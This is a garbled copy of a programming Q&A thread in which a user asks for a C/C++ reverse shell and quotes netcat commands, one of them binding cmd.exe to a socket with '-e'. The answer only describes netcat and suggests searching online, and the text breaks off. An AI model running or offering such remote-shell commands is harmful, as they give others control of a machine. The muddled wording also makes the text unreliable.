c++ - Looking for a Basic Reverse Shell Example in C(++) -
I am trying to find the original reverse shell instance in C or C ++,
actually I want to write a code to simulate the following net cat scenario:
Listener: ------------------ C: \ Nc -L -p 80 Client -------------- C: \ nc 127.0.0.1 80 -e cmd.exe
For whom NetNet does not speak Is:
This means that I want to stdin and stdout out of cmd.exe and in the stream of the network. Therefore remote user can run cmd.exe from a user remote computer.
Am I searching for a C / C ++ example code to do this?
net cat
is basically something that either accepts (when Works as a server) or opens (when functions as a client) Any socket written in a socket stdin
is written in the socket Anything is read < Code> stdout . Any error is written on stderr
.
It seems to be the basics that you are using it on Windows and attaching standard IOs to a command shell. I'm not sure what / what it does for you, so I am ignoring this.
However, what you need to do is write an app that accepts / opens a socket, type ... etc ... (see paragraph 1).
A lot of things are online that tell how to do this. The last answer to your question depends on why you want to do this (i.e. why not just use the net cat
), even if you want a good posix compliance app that is available on any platform or Built on some similar things that only Windows (and probably uses Windows UI components), and other considerations.
I suggest you search something like Google, or
Comments
Post a Comment